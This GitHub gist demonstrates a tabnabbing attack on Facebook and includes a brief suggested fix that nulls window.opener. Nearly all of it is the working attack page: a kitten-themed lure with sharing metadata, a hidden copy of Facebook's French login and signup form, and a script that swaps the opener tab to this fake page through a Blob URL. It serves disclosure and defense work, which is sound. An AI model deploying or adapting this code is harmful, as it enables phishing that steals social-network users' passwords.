Skip to content

Instantly share code, notes, and snippets.

@mems
Last active June 12, 2021 14:18
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mems/df881c9495b6744b650c to your computer and use it in GitHub Desktop.
Save mems/df881c9495b6744b650c to your computer and use it in GitHub Desktop.
Tabnabbing attack on Facebook

Share it on Facebook. When the user click on the shared link and come back to the Facebook tab, he should see a fake Facebook login page (in French).

This attack use window.open vector. Since all shared link on Facebook use target="_blank", the opener property is shared with the target page (attacker page) and allow this page to control the facebook tab location

To solve that, Facebook should use a redirect page where the property window.opener is set to null:

<head>
	<noscript>
		<meta http-equiv="refresh" content="0;url='__final_url__'">
	</noscript>
	<title>__final_url__</title>
</head>
<script>
	window.opener = null;
	location.replace("__final_url__")
</script>

See also:

<!DOCTYPE html PUBLIC>
<html>
<head>
<title>Fluffy kitten</title>
<meta property="og:title" content="Fluffy kitten">
<meta property="og:description" content="They are so cute!">
<meta property="og:image" content="https://upload.wikimedia.org/wikipedia/commons/f/f1/Kitten_and_partial_reflection_in_mirror.jpg" />
</head>
<body>
<img src="https://upload.wikimedia.org/wikipedia/commons/f/f1/Kitten_and_partial_reflection_in_mirror.jpg" alt="Kitten and partial reflection in mirror">
<!-- the following noscript will contains the html of Facebook Homepage (fr-FR) without any script tags -->
<!--
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="fr" id="facebook" class="highContrastSetting no_js">
<head>
<meta charset="utf-8">
<title id="pageTitle">
Facebook - Connexion ou inscription
</title>
<link rel="mask-icon" sizes="any" href="" color="#3B5998"><link rel="shortcut icon" href="https://static.xx.fbcdn.net/rsrc.php/yl/r/H3nktOa7ZMg.ico">
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v2/yu/r/P-uh81rVQjr.css" data-bootloader-hash="oCVLD" data-permanent="1" crossorigin="anonymous">
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v2/yV/r/X4Tbi7ctLMX.css" data-bootloader-hash="sVJMq" data-permanent="1" crossorigin="anonymous">
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v2/yO/r/yEmaoTIAhwo.css" data-bootloader-hash="smFG1" data-permanent="1" crossorigin="anonymous">
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v2/yb/r/D46C2bJUcP7.css" data-bootloader-hash="fWMy9" data-permanent="1" crossorigin="anonymous">
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v2/yw/r/7lE17_CIfrl.css" data-bootloader-hash="IOlm+" data-permanent="1" crossorigin="anonymous">
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v2/yL/r/cExaeQ07vMA.css" data-bootloader-hash="HgIa3" crossorigin="anonymous">
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v2/yk/r/4SlO2lbwrKo.css" data-bootloader-hash="DIZi+" data-permanent="1" crossorigin="anonymous">
</head>
<body class="fbIndex UIPage_LoggedOut _2gsg _xw8 _5p3y x2 Locale_fr_FR" dir="ltr">
<div class="_li">
<div id="pagelet_bluebar" data-referrer="pagelet_bluebar">
<div>
<div id="blueBarDOMInspector" class="_21mm _2gsf">
<div class="_4f7n _1s4v _26aw _hdd _xxp">
<div>
<div class="loggedout_menubar_container">
<div class="clearfix loggedout_menubar">
<div class="lfloat _ohe">
<h1>
<a href=""><i class="fb_logo img sp_IIuy94UEXRV_2x sx_329e77"><u>Logo Facebook</u></i></a>
</h1>
</div>
<div class="menu_login_container rfloat _ohf">
<form id="login_form" action="" method="post" novalidate="1">
<input type="hidden" value="AVolC6EO" autocomplete="off">
<table cellspacing="0">
<tr>
<td class="html7magic">
<label for="email">Adresse e-mail ou mobile</label>
</td>
<td class="html7magic">
<label for="pass">Mot de passe</label>
</td>
</tr>
<tr>
<td>
<input type="email" class="inputtext" id="email" value="" tabindex="1">
</td>
<td>
<input type="password" class="inputtext" id="pass" tabindex="2">
</td>
<td>
<label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_x"><input value="Connexion" tabindex="4" type="submit" id="u_0_x"></label>
</td>
</tr>
<tr>
<td class="login_form_label_field">
<div>
<div class="uiInputLabel clearfix uiInputLabelLegacy">
<input id="persist_box" type="checkbox" value="1" tabindex="3" class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Garder ma session active</label>
</div><input type="hidden" value="0">
</div>
</td>
<td class="login_form_label_field">
<a href="">Mot de passe oublié ?</a>
</td>
</tr>
</table><input type="hidden" autocomplete="off" value="" id="u_0_y"><input type="hidden" autocomplete="off" value="" id="u_0_z"><input type="hidden" value="040328_U9j6"><input type="hidden" id="lgnjs" value="n"><input type="hidden" autocomplete="off" id="locale" value="fr_FR">
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="globalContainer" class="uiContextualLayerParent">
<div class="fb_content clearfix" id="content">
<div>
<div class="gradient">
<div class="gradientContent">
<div class="clearfix">
<div class="lfloat _ohe">
<div class="_5iyy">
<div class="_5iyx">
Avec Facebook, partagez et restez en contact avec votre entourage.
</div><img class="img" src="https://static.xx.fbcdn.net/rsrc.php/v2/yH/r/5pUaHph0yyn.png" alt="" width="537" height="195">
</div>
</div>
<div class="_5iyz rfloat _ohf">
<div class="pvl _52lp _59d-">
<div class="mbs _52lq fsl fwb fcb">
Inscription
</div>
<div class="_52lr fsm fwn fcg">
C’est gratuit (et ça le restera toujours)
</div>
</div>
<div id="registration_container">
<div>
<div class="_58mf">
<div id="reg_box" class="registration_redesign">
<div>
<form method="post" id="reg" action="https://touch.facebook.com/reg/">
<input type="hidden" value="AVolC6EO" autocomplete="off">
<div id="reg_form_box" class="large_form">
<div class="clearfix _58mh">
<div class="mbm _3-90 lfloat _ohe">
<div class="_5dbb" id="u_0_0">
<input type="text" class="inputtext _58mg _5dba _2ph-" data-type="text" aria-required="1" placeholder="Prénom" id="u_0_1" aria-label="Prénom">
</div>
</div>
<div class="mbm rfloat _ohf">
<div class="_5dbb" id="u_0_2">
<input type="text" class="inputtext _58mg _5dba _2ph-" data-type="text" aria-required="1" placeholder="Nom de famille" id="u_0_3" aria-label="Nom de famille">
</div>
</div>
</div>
<div class="mbm" id="u_0_4">
<div class="_5dbb" id="u_0_5">
<input type="text" class="inputtext _58mg _5dba _2ph-" data-type="text" aria-required="1" placeholder="Numéro de mobile ou e-mail" id="u_0_6" aria-label="Numéro de mobile ou e-mail">
</div>
</div>
<div class="mbm" id="u_0_7">
<div class="_5dbb" id="u_0_8">
<input type="text" class="inputtext _58mg _5dba _2ph-" data-type="text" aria-required="1" placeholder="Entrez à nouveau le numéro de mobile ou l’adresse e-mail" id="u_0_9" aria-label="Entrez à nouveau le numéro de mobile ou l’adresse e-mail">
</div>
</div>
<div class="mbm">
<div class="_5dbb" id="u_0_a">
<input type="password" class="inputtext _58mg _5dba _2ph-" data-type="text" aria-required="1" placeholder="Nouveau mot de passe" id="u_0_b" aria-label="Nouveau mot de passe">
</div>
</div>
<div class="_58mq _5dbb" id="u_0_c">
<div class="mtm mbs _58mr">
Date de naissance
</div>
<div class="_5k_5">
<span class="_5k_4" data-type="selectors" data-name="birthday_wrapper" id="u_0_d"><span><select aria-label="Jour" id="day" class="_5dba">
<option value="0" selected="1">Jour</option>
</select><select aria-label="Mois" id="month" class="_5dba">
<option value="0" selected="1">Mois</option>
</select><select aria-label="Année" id="year" class="_5dba">
<option value="0" selected="1">Année</option>
</select></span></span><a class="mlm _58ms" href="" ajaxify="/help/ajax/reg_birthday/?xui" rel="async">Pourquoi indiquer ma date de naissance ?</a>
</div>
</div>
<div class="mtm _5wa2 _5dbb" id="u_0_g">
<span class="_5k_3" data-type="radio" data-name="gender_wrapper" id="u_0_h"><span class="_5k_2 _5dba"><input type="radio" value="1" id="u_0_e"><label class="_58mt" for="u_0_e">Femme</label></span><span class="_5k_2 _5dba"><input type="radio" value="2" id="u_0_f"><label class="_58mt" for="u_0_f">Homme</label></span></span>
</div>
<div class="_58mu" id="u_0_i">
<p class="_58mv">
En cliquant sur Inscription, vous acceptez nos <a href="" target="_blank" rel="nofollow">Conditions</a> et indiquez que vous avez lu notre <a href="" target="_blank" rel="nofollow">Politique d’utilisation des données</a>, y compris notre <a href="" target="_blank" rel="nofollow">Utilisation des cookies</a>.
</p>
</div>
<div class="clearfix">
<button type="submit" class="_6j mvm _6wk _6wl _58mi _3ma _6o _6v" id="u_0_j">Inscription</button><span class="hidden_elem _58ml" id="u_0_10"><img class="img" src="https://static.xx.fbcdn.net/rsrc.php/v2/yA/r/0_KqJAcnl8J.gif" alt="" width="16" height="11"></span>
</div>
</div><input type="hidden" autocomplete="off" id="referrer" value=""><input type="hidden" autocomplete="off" id="asked_to_login" value="0"><input type="hidden" autocomplete="off" id="terms" value="on"><input type="hidden" autocomplete="off" id="ab_test_data" value=""><input type="hidden" autocomplete="off" id="contactpoint_label" value="email_or_phone"><input type="hidden" autocomplete="off" id="locale" value="fr_FR"><input type="hidden" autocomplete="off" id="reg_instance" value="84UwUaSSxR3LN6M6SxZmmGwR">
<div id="reg_captcha" class="_58mw hidden_elem">
<div>
<h2 id="security_check_header">
Test de sécurité
</h2>
<div id="outer_captcha_box">
<div id="captcha_box">
<div class="field_error hidden_elem" id="captcha_response_error">
Ce champ est obligatoire.
</div>
<div id="captcha" class="captcha" data-captcha-class="ReCaptchaCaptcha">
<input type="hidden" autocomplete="off" id="captcha_persist_data" value="AZkwhplpPt3FivvPzJLKWfPhOAxvivOIpQBRc2LeP4wGyXFPOp0zYydnG1j0Pvt64SoPuz_cNvhfCEi8m8lecuAKd6i8IflIZuQvJV_q9ZJGIdEOug7nD87RE7yQBvjVa0LefVgOE-GTwdJZsJWzqNVCNQ1OefDDIQ_qr1w1Zto7mPYD2WB5r0UqkLB-408yd7qK6uUyY7qK2tmzHfuWoru39HxbASwkfgV4kwnOqK-b5benxMtkGf4bIRX2xZhidTNg7iIs8gg-IZMR5Mn1_M9RcNEL-DPnXHxJBOIXBWHYctuvEfMDmMTrNNHF-nfAspKIg5mzrqM2WaOZS9pfluUmWDtxpqZqG--v-pHkhtR02JsGu9dY2fTLUg1s3fIPDv4">
<div id="recaptcha_scripts" style="display:none"></div>
<div>
<input type="hidden" autocomplete="off" id="captcha_session" value="fQXFritqTrDLGE8eX_h9eA"><input type="hidden" autocomplete="off" id="extra_challenge_params" value="authp=nonce.tt.time.new_audio_default&amp;psig=YWixs37CjpUgVuCgIHFgjzpY7a8&amp;nonce=fQXFritqTrDLGE8eX_h9eA&amp;tt=RdlSmTOn8rN2RWy7n2-ZQoCEFp0&amp;time=1458039808&amp;new_audio_default=1"><input type="hidden" autocomplete="off" id="recaptcha_type" value="password">
</div>
<div class="recaptcha_text">
<div class="recaptcha_only_if_image">
Vous ne pouvez pas lire les mots ci-dessous ? <a href="" id="recaptcha_reload_btn">Essayez d’autres mots</a> ou <a href="">un captcha audio</a>.
</div>
<div class="recaptcha_only_if_audio" style="display:none">
Veuillez saisir les mots ou les chiffres que vous entendez.<br>
<a href="" id="recaptcha_reload_btn">Essayez d’autres mots</a> ou <a href="">retournez au texte</a>.
</div>
</div><span id="recaptcha_play_audio"></span>
<div class="audiocaptcha"></div>
<div id="recaptcha_image" class="captcha_image"></div>
<div id="recaptcha_loading">
Chargement...<img class="captcha_loading img" src="https://static.xx.fbcdn.net/rsrc.php/v2/yA/r/0_KqJAcnl8J.gif" alt="" width="16" height="11">
</div>
<div class="captcha_input">
<label>Saisissez le texte que vous voyez ci-dessus.</label>
<div class="field_container">
<input type="text" class="inputtext" id="captcha_response" autocomplete="off" aria-label="Vérification de saisie. Entrez les mots indiqués ci-dessus pour continuer. Vous pouvez essayer une vérification audio en cliquant sur le lien ci-dessus. Cliquez sur le bouton Lire pour l’écouter, puis saisissez les mots que vous entendez dans ce champ.">
</div><a class="mlm" href="">Pourquoi est-ce que je vois ça ?</a>
<div id="captcha_whats_this" class="hidden_elem">
<div class="fsl fwb">
Contrôle de sécurité
</div>Ceci est un test de sécurité standard que nous utilisons pour empêcher la création de faux comptes destinés à envoyer des messages indésirables.
</div>
</div>
</div>
</div>
</div>
<div id="captcha_buttons" class="_58p2 clearfix hidden_elem">
<div class="_58mx _58mm">
<div class="_58mz"></div><a class="_58my" href="" id="u_0_k">Retour</a>
</div>
<div class="_58mm">
<div class="clearfix">
<button type="submit" class="_6j mvm _6wk _6wl _58me _58mi _3ma _6o _6v" id="u_0_l">Inscription</button><span class="hidden_elem _58ml" id="u_0_11"><img class="img" src="https://static.xx.fbcdn.net/rsrc.php/v2/yA/r/0_KqJAcnl8J.gif" alt="" width="16" height="11"></span>
</div>
</div>
</div>
</div>
</div>
</form>
<div id="reg_error" class="hidden_elem _58mn">
<div class="_58mo" id="reg_error_inner" tabindex="0">
Une erreur s’est produite. Veuillez réessayer.
</div>
</div>
</div>
<div id="reg_pages_msg" class="_58mk">
<a href="">Créer une Page</a> pour une célébrité, un groupe ou une entreprise.
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="pageFooter" data-referrer="page_footer">
<div id="contentCurve"></div>
<div class="mvl copyright">
<div>
<span>Facebook © 2016</span>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
--><script>
if(window.top.opener/* && /^https?:\/\/([^/]+\.)?facebook.com\//gi.test(window.top.opener.location)*//*On Firefox, throw: "Error: Permission denied to access property Symbol.toPrimitive" */){
window.top.opener.location.replace(URL.createObjectURL(new Blob([document.getElementsByTagName("script")[0].previousSibling.nodeValue.replace(/<script[^<]+<\/script>/gi, "")], {type: "text/html"})))
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment